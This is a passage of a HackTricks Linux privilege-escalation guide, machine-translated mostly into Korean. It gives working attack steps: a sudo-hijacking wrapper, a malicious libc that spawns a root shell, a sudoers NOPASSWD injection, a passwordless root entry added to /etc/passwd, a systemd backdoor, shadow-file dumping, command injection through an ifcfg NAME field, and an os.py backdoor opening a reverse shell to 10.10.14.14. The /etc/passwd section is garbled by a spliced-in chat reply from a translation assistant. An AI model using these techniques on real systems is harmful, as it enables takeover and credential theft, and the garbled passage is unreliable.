permit nopass demo as root cmd vim
Sudo Hijacking
사용자가 일반적으로 머신에 접속하여 권한 상승을 위해 sudo를 사용하는 것을 알고 있고 해당 사용자 컨텍스트에서 셸을 얻었다면, 루트로서 먼저 당신의 코드를 실행한 다음 사용자의 명령을 실행하는 새로운 sudo 실행파일을 만들 수 있습니다. 그런 다음 사용자 컨텍스트의 $PATH를 수정(예: .bash_profile에 새 경로를 추가)하여 사용자가 sudo를 실행할 때 당신의 sudo 실행파일이 실행되게 하세요.
Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. 예를 들어 sudo-piggyback modifies ~/.bashrc, ~/.zshrc, ~/.bash_profile. You can find another example in bashdoor.py
Or running something like:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
공유 라이브러리
ld.so
The file /etc/ld.so.conf indicates where the loaded configurations files are from. Typically, this file contains the following path: include /etc/ld.so.conf.d/*.conf
That means that the configuration files from /etc/ld.so.conf.d/*.conf will be read. This configuration files points to other folders where libraries are going to be searched for. For example, the content of /etc/ld.so.conf.d/libc.conf is /usr/local/lib. This means that the system will search for libraries inside /usr/local/lib.
If for some reason a user has write permissions on any of the paths indicated: /etc/ld.so.conf, /etc/ld.so.conf.d/, any file inside /etc/ld.so.conf.d/ or any folder within the config file inside /etc/ld.so.conf.d/*.conf he may be able to escalate privileges.
Take a look at how to exploit this misconfiguration in the following page:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
lib을 /var/tmp/flag15/에 복사하면 RPATH 변수에 지정된 대로 프로그램이 해당 위치에서 이를 사용합니다.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
그런 다음 /var/tmp에 gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6 명령으로 악성 라이브러리를 생성합니다.
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Capabilities
Linux capabilities는 프로세스에 사용할 수 있는 root privileges의 하위 집합을 제공합니다.
이것은 실제로 root privileges를 더 작고 구별되는 단위로 분할합니다.
각 단위는 개별적으로 프로세스에 부여될 수 있습니다.
이렇게 하면 전체 privileges 집합이 축소되어 악용 위험이 줄어듭니다.\
Read the following page to learn more about capabilities and how to abuse them:
Directory permissions
In a directory, the bit for “execute” implies that the user affected can “cd” into the folder.
The “read” bit implies the user can list the files, and the “write” bit implies the user can delete and create new files.
ACLs
Access Control Lists (ACLs)는 임의 권한의 2차 계층을 나타내며, 전통적인 ugo/rwx 권한을 overriding할 수 있습니다. 이러한 권한은 소유자나 그룹의 구성원이 아닌 특정 사용자에게 권한을 허용하거나 거부함으로써 파일 또는 디렉토리에 대한 접근 제어를 강화합니다. 이러한 수준의 granularity는 보다 정밀한 접근 관리를 보장합니다. 자세한 내용은 here.
부여 user “kali“에게 파일에 대한 read 및 write 권한:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
가져오기 시스템에서 특정 ACLs를 가진 파일:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
sudoers drop-ins의 숨겨진 ACL backdoor
일반적인 잘못된 설정은 mode 440인 /etc/sudoers.d/의 root 소유 파일이 ACL을 통해 저권한 사용자에게 여전히 쓰기 권한을 부여하는 것입니다.
ls -l /etc/sudoers.d/*
getfacl /etc/sudoers.d/<file>
예를 들어 user:alice:rw-와 같은 항목이 보이면, 해당 사용자는 제한된 모드 비트에도 불구하고 sudo rule을 추가할 수 있습니다:
echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
visudo -cf /etc/sudoers.d/<file>
sudo -l
이는 high-impact ACL persistence/privesc 경로로, ls -l만으로 하는 검토에서는 쉽게 놓칠 수 있습니다.
열린 shell 세션
이전 버전에서는 다른 사용자(root)의 shell 세션 일부를 hijack할 수 있습니다.
최신 버전에서는 자신의 사용자의 screen 세션에만 connect할 수 있습니다. 하지만 세션 내부에서 흥미로운 정보를 찾을 수 있습니다.
screen sessions hijacking
screen sessions 목록
screen -ls
screen -ls <username>/ # Show another user' screen sessions
# Socket locations (some systems expose one as symlink of the other)
ls /run/screen/ /var/run/screen/ 2>/dev/null
.png)
세션에 연결
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
이 문제는 old tmux versions에서 발생했습니다. 비특권 사용자로서 root가 생성한 tmux (v2.1) session을 hijack할 수 없었습니다.
List tmux sessions
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
.png)
세션에 연결
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
예시로 Valentine box from HTB를 확인하세요.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.
이 버그는 해당 OS에서 새 ssh 키를 생성할 때 발생하며, 가능한 조합이 32,768개뿐이었습니다. 즉 모든 가능성을 계산할 수 있고 ssh 공개키를 가지고 있으면 대응하는 개인키를 검색할 수 있습니다. 계산된 가능성 목록은 여기에서 확인할 수 있습니다: https://github.com/g0tmi1k/debian-ssh
SSH 유용한 설정 값
- PasswordAuthentication: 비밀번호 인증이 허용되는지 지정합니다. 기본값은
no입니다. - PubkeyAuthentication: 공개키 인증이 허용되는지 지정합니다. 기본값은
yes입니다. - PermitEmptyPasswords: 비밀번호 인증이 허용될 때, 서버가 비어 있는 비밀번호 문자열을 가진 계정으로의 로그인을 허용할지 지정합니다. 기본값은
no입니다.
로그인 제어 파일
이 파일들은 누가 어떻게 로그인할 수 있는지에 영향을 줍니다:
/etc/nologin: 존재하면 비-root 로그인을 차단하고 메시지를 출력합니다./etc/securetty: root가 로그인할 수 있는 위치를 제한합니다 (TTY 허용 목록)./etc/motd: 로그인 후 배너(환경 또는 유지보수 세부정보를 leak할 수 있음).
PermitRootLogin
root가 ssh로 로그인할 수 있는지 지정합니다(기본값 no). 가능한 값들:
yes: root는 비밀번호와 개인키로 로그인할 수 있음without-password또는prohibit-password: root는 개인키로만 로그인할 수 있음forced-commands-only: root는 개인키로만 로그인할 수 있으며 commands 옵션이 지정된 경우에만 가능no: 로그인 불가
AuthorizedKeysFile
사용자 인증에 사용할 공개키를 포함하는 파일을 지정합니다. %h 같은 토큰을 포함할 수 있으며 이는 홈 디렉터리로 대체됩니다. 절대 경로를 지정할 수 있습니다 (/로 시작) 또는 사용자 홈에서의 상대 경로를 지정할 수 있습니다. 예:
AuthorizedKeysFile .ssh/authorized_keys access
해당 구성은 사용자인 “testusername“의 private key로 로그인하려 할 경우 ssh가 당신 key의 public key를 /home/testusername/.ssh/authorized_keys 및 /home/testusername/access에 있는 항목들과 비교할 것임을 나타냅니다.
ForwardAgent/AllowAgentForwarding
SSH agent forwarding는 서버에 (패스프레이즈 없이!) 키를 남겨두는 대신 use your local SSH keys instead of leaving keys를 가능하게 합니다. 따라서, 당신은 ssh를 통해 한 host로 jump한 다음 거기서 초기 host에 위치한 key를 사용해 다른 host로 jump할 수 있습니다.
You need to set this option in $HOME/.ssh.config like this:
Host example.com
ForwardAgent yes
Notice that if Host is * every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue).
파일 /etc/ssh_config는 이 옵션을 재정의하여 이 구성을 허용하거나 거부할 수 있습니다.
파일 /etc/sshd_config는 키워드 AllowAgentForwarding로 ssh-agent 포워딩을 허용하거나 거부할 수 있습니다(기본값은 허용).
환경에서 Forward Agent가 설정되어 있음을 발견하면 다음 페이지를 읽어보세요 — 이를 악용해 권한 상승을 할 수 있을지도 모릅니다:
SSH Forward Agent exploitation
관련 파일
Profile 관련 파일
파일 /etc/profile와 /etc/profile.d/ 아래의 파일들은 사용자가 새로운 셸을 실행할 때 실행되는 스크립트입니다. 따라서 이들 중 어떤 파일이든 작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다.
ls -l /etc/profile /etc/profile.d/
이상한 프로필 스크립트가 발견되면 민감한 정보가 있는지 확인해야 합니다.
Passwd/Shadow Files
운영체제에 따라 /etc/passwd 및 /etc/shadow 파일이 다른 이름을 사용하거나 백업본이 있을 수 있습니다. 따라서 해당 파일들을 모두 찾아서 읽을 수 있는지 확인하고 파일 내부에 해시가 있는지 확인하는 것을 권장합니다:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
어떤 경우에는 /etc/passwd (또는 동등한) 파일 안에서 password hashes를 찾을 수 있습니다.
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
쓰기 가능한 /etc/passwd
먼저, 다음 명령 중 하나로 password를 생성하세요.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
README.md 내용을 붙여넣어 주세요. 그러면 해당 문서의 영어 본문을 지침에 따라 한국어로 번역해 드립니다.
참고: 제가 시스템에서 직접 사용자 계정을 생성할 수는 없습니다. 대신 실제로 시스템에서 ‘hacker’ 계정을 만들고 난수 비밀번호를 생성해 적용하는 데 사용할 수 있는 정확한 명령을 아래에 드립니다. 원하시면 이 명령을 README 예시로 포함해 드릴 수 있습니다.
사용 예시(실행 전 확인):
PASSWORD=$(openssl rand -base64 16) sudo useradd -m -s /bin/bash hacker echo “hacker:$PASSWORD” | sudo chpasswd echo “Generated password for hacker: $PASSWORD”
원하시면 README에 삽입할 번역문과 함께 위 명령을 포함하거나, 직접 파일 내용만 번역해 드리겠습니다. 어느 쪽을 원하십니까?
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
예: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
이제 su 명령어를 사용하여 hacker:hacker로 전환할 수 있습니다
또는, 다음 줄들을 사용해 비밀번호 없는 더미 사용자를 추가할 수 있습니다.
경고: 머신의 현재 보안이 저하될 수 있습니다.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
참고: BSD 플랫폼에서는 /etc/passwd가 /etc/pwd.db 및 /etc/master.passwd에 위치하며, /etc/shadow는 /etc/spwd.db로 이름이 변경됩니다.
일부 민감한 파일에 쓰기할 수 있는지 확인해야 합니다. 예를 들어, 어떤 서비스 설정 파일에 쓸 수 있습니까?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
예를 들어, 머신이 tomcat 서버를 실행 중이고 modify the Tomcat service configuration file inside /etc/systemd/, 라면 다음 줄들을 수정할 수 있습니다:
ExecStart=/path/to/backdoor
User=root
Group=root
당신의 backdoor는 tomcat이 다음에 시작될 때 실행됩니다.
폴더 확인
다음 폴더들은 백업 또는 유용한 정보를 포함하고 있을 수 있습니다: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (마지막 항목은 읽을 수 없을 가능성이 높지만 시도해 보세요)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
이상한 위치/Owned 파일
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
지난 몇 분 동안 수정된 파일
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Sqlite DB 파일
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 파일들
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
숨겨진 파일
find / -type f -iname ".*" -ls 2>/dev/null
PATH에 있는 Script/Binaries
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
웹 파일
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
백업
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Known files containing passwords
linPEAS의 코드를 읽어보면, passwords를 포함할 수 있는 여러 가능한 파일들을 검색합니다.
Another interesting tool that you can use to do so is: LaZagne which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac.
Logs
Logs를 읽을 수 있다면, 그 안에서 흥미롭고/기밀한 정보를 찾을 수 있을지도 모릅니다.
log가 더 이상할수록 더 흥미로울 것입니다(아마도).
또한 일부 “bad“로 구성된(또는 backdoored?) audit logs는 이 게시물에서 설명한 것처럼 audit logs 내부에 record passwords를 허용할 수 있습니다: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
로그를 읽으려면 로그를 읽는 그룹 adm이 정말 유용합니다.
쉘 파일
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
일반적인 Creds Search/Regex
파일 이름이나 내용에 “password“라는 단어가 포함된 파일을 확인해야 하고, 로그에서 IPs와 emails, 또는 hashes regexps도 확인하세요.
이 모든 방법을 여기에서 일일이 설명하지는 않겠지만, 관심이 있다면 linpeas가 수행하는 마지막 검사들을 확인해보세요.
쓰기 가능한 파일
Python library hijacking
만약 python script가 어디서 실행될지 알고 그 폴더에 쓸 수 있다면 또는 python libraries를 수정할 수 있다면, OS library를 수정해 backdoor를 심을 수 있습니다 (python script가 실행되는 위치에 쓸 수 있다면, os.py 라이브러리를 복사해서 붙여넣으세요).
To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Logrotate exploitation
logrotate의 취약점으로 인해 로그 파일 또는 그 상위 디렉터리에 대해 쓰기 권한을 가진 사용자가 잠재적으로 권한 상승을 할 수 있습니다. 이는 종종 root로 실행되는 logrotate가 임의 파일을 실행하도록 조작될 수 있기 때문이며, 특히 /etc/bash_completion.d/ 같은 디렉터리에서 위험합니다. 권한 검사는 _/var/log_뿐만 아니라 로그 회전이 적용되는 모든 디렉터리에서 확인해야 합니다.
Tip
이 취약점은
logrotate버전3.18.0및 이전 버전에 영향을 줍니다
취약점에 대한 자세한 정보는 다음 페이지에서 확인할 수 있습니다: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
이 취약점은 logrotten으로 악용할 수 있습니다.
이 취약점은 CVE-2016-1247 (nginx logs) 와 매우 유사하므로, 로그를 변경할 수 있는 경우 누가 해당 로그를 관리하는지 확인하고 로그를 symlinks로 대체하여 권한 상승이 가능한지 확인하세요.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 ifcf-<whatever> 스크립트를 쓰기할 수 있거나 기존 스크립트를 수정할 수 있다면, 당신의 system is pwned.
Network scripts, ifcg-eth0 등은 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 거의 동일하게 보입니다. 그러나 이들은 Linux에서 Network Manager (dispatcher.d)에 의해 ~sourced~ 됩니다.
제 경우에는 이러한 네트워크 스크립트에서 NAME=에 할당된 값이 올바르게 처리되지 않습니다. 이름에 공백이 있으면 시스템은 공백 이후의 부분을 실행하려고 시도합니다. 즉, 이름의 첫 번째 공백 이후의 모든 것이 root로 실행됩니다.
예: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Network와 /bin/id 사이의 공백에 주의하세요)
init, init.d, systemd, and rc.d
디렉토리 /etc/init.d 는 System V init (SysVinit) 용 스크립트가 위치하는 곳입니다. 이 디렉토리에는 서비스를 start, stop, restart, 때로는 reload 하는 스크립트가 포함되어 있습니다. 이 스크립트들은 직접 실행하거나 /etc/rc?.d/ 에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 계열 시스템의 대체 경로는 /etc/rc.d/init.d 입니다.
반면에 /etc/init 은 Ubuntu에서 도입된 Upstart와 연관되어 있으며, 서비스 관리를 위한 구성 파일들을 사용합니다. Upstart로의 전환 이후에도 Upstart의 호환성 계층 때문에 SysVinit 스크립트가 Upstart 구성과 함께 여전히 사용됩니다.
systemd 는 현대적인 초기화 및 서비스 관리자로 등장했으며, 요청 시 데몬 시작, automount 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 배포 패키지를 위한 파일은 /usr/lib/systemd/ 에, 관리자 변경 사항은 /etc/systemd/system/ 에 정리되어 시스템 관리를 간소화합니다.
Other Tricks
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Android rooting frameworks는 일반적으로 syscall을 훅하여 특권 커널 기능을 userspace manager에 노출합니다. 약한 manager 인증(예: FD-order 기반 서명 검사 또는 취약한 비밀번호 방식)은 로컬 앱이 manager를 가장하여 이미 루팅된 기기에서 root로 권한 상승할 수 있게 합니다. 자세한 내용과 익스플로잇 정보는 다음을 참조하세요:
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
VMware Tools/Aria Operations의 정규식 기반 서비스 검색은 프로세스 커맨드 라인에서 바이너리 경로를 추출하고 권한 있는 컨텍스트에서 -v 로 실행할 수 있게 합니다. 관대하게 설정된 패턴(예: \S 사용)은 쓰기 가능한 위치(예: /tmp/httpd)에 공격자가 배치한 리스너를 매치할 수 있으며, 이는 root로의 실행으로 이어질 수 있습니다 (CWE-426 Untrusted Search Path).
자세한 내용과 다른 discovery/monitoring 스택에도 적용 가능한 일반화된 패턴은 다음을 참조하세요:
Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244
Kernel Security Protections
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
More help
Linux/Unix Privesc Tools
Best tool to look for Linux local privilege escalation vectors: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
References
- 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)
- 0xdf – HTB Era: forged .text_sig payload for cron-executed monitor
- 0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)
- alseambusher/crontab-ui
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
- 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
- GNU Bash Manual – BASH_ENV (non-interactive startup file)
- 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)
- 0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)
- 0xdf – HTB Slonik (pg_basebackup cron copy → SUID bash)
- NVISO – You name it, VMware elevates it (CVE-2025-41244)
- 0xdf – HTB: Expressway
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


